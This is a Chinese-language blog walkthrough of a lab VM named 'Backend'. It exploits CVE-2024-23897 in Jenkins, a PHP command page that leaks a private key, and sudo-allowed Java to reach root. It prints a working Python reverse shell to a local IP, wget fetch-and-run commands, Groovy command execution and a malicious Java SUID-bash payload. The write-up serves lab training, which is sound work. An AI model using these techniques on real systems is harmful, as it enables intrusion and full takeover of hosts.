VulnVM-Backend

Box Info

OSLinux
DifficultyMedium

Nmap

[root@kali] /home/kali/Backend  
❯ nmap 192.168.237.148 -sV -A -p-                


PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ec:8d:c2:a6:1e:52:43:62:44:29:36:58:73:15:6b (RSA)
|   256 0d:39:f5:86:a1:fc:7d:ba:c6:55:14:37:2c:91:fe:37 (ECDSA)
|_  256 d6:91:b0:62:48:85:9c:51:dd:f9:20:35:d2:53:a6:25 (ED25519)
8080/tcp open  http    Jetty 10.0.18
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
MAC Address: 00:0C:29:42:20:88 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

CVE-2024-23897

进入8080端口发现是一个Jenkins的登录页面

经过测试,弱口令SQL注入的情况并不存在

搜索得到一个任意文件读取的漏洞

在网上找了两个脚本

但是都只能读取到一行??,我找找其他的方法

可以访问/jnlpJars/jenkins-cli.jar下载到jar包,根据vulnhub里面的介绍,尝试读取一下登录密码

admin:da1c139ad3ba437184b29528e6f24098

成功登录到后台,版本是2.441

Own jenkins

进入到命令执行的部分

可以执行以下命令

println "whoami".execute().text
println "cat /etc/passwd".execute().text

尝试读取id_rsa密钥,发现没有

println "ls -al /home/jenkins/.ssh/".execute().text

但是可以把我们自己的密钥加到authorized_key

先做个反弹Shell吧,这里无法直接在控制台中反弹,需要上传一个脚本,可以参考👇

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.237.147",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

然后上传执行

println "wget http://192.168.237.147/revshell.py -P /tmp/".execute().text
println "python3 /tmp/revshell.py".execute().text

成功得到反弹shell

接下来是将我们的公钥添加到authorized_keys

然后成功使用SSH登录

Own tranquil

发现内部80端口开放了

并且看到home里的另一个用户所属组是www-data

先将端口转出来

[root@kali] /home/kali/easypwn  
❯ ssh -i ~/.ssh/id_rsa  jenkins@192.168.237.148 -L 8888:127.0.0.1:80   

然后访问/uploadimages.php,是一个命令执行的终端

当前目录没有写的权限,反弹shell也失败,可以cat看看这个php的源码是什么

可以看到使用了escapeshellcmd函数,以下这些都会被过滤

\ ' " $  ; & | < >`。

因此只能尝试读取文件了

ls /home/tranquil/backup -al

刚好发现了私钥,因此可以直接使用来登录

Root

查看特殊命令

tranquil@backend:~$ sudo -l
Matching Defaults entries for tranquil on backend:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tranquil may run the following commands on backend:
    (ALL) NOPASSWD: /usr/bin/java

准备一个恶意的java代码

import java.io.IOException;

public class evil   {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("chmod u+s /bin/bash");
    }
}

然后打包成jar

然后执行即可拿到root权限

Summary

User:通过Jenkins任意文件读取漏洞,获得默认的管理员密码。进入到后台的命令控制台,执行反弹Shell,写入公钥登录拿到jenkins用户的权限。将内网端口转发出来,发现存在一个读取文件的PHP文件,由于tranquil的目录配置问题,读取到他的私钥,从而获取到tranquil的权限。

Roottranquil能以root的身份运行java命令,因此可以构造恶意java代码来提权。

当前页面链接: https://www.hyhforever.top/vulnvm-backend/
如果您对本文内容有所意见或者建议,欢迎评论。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇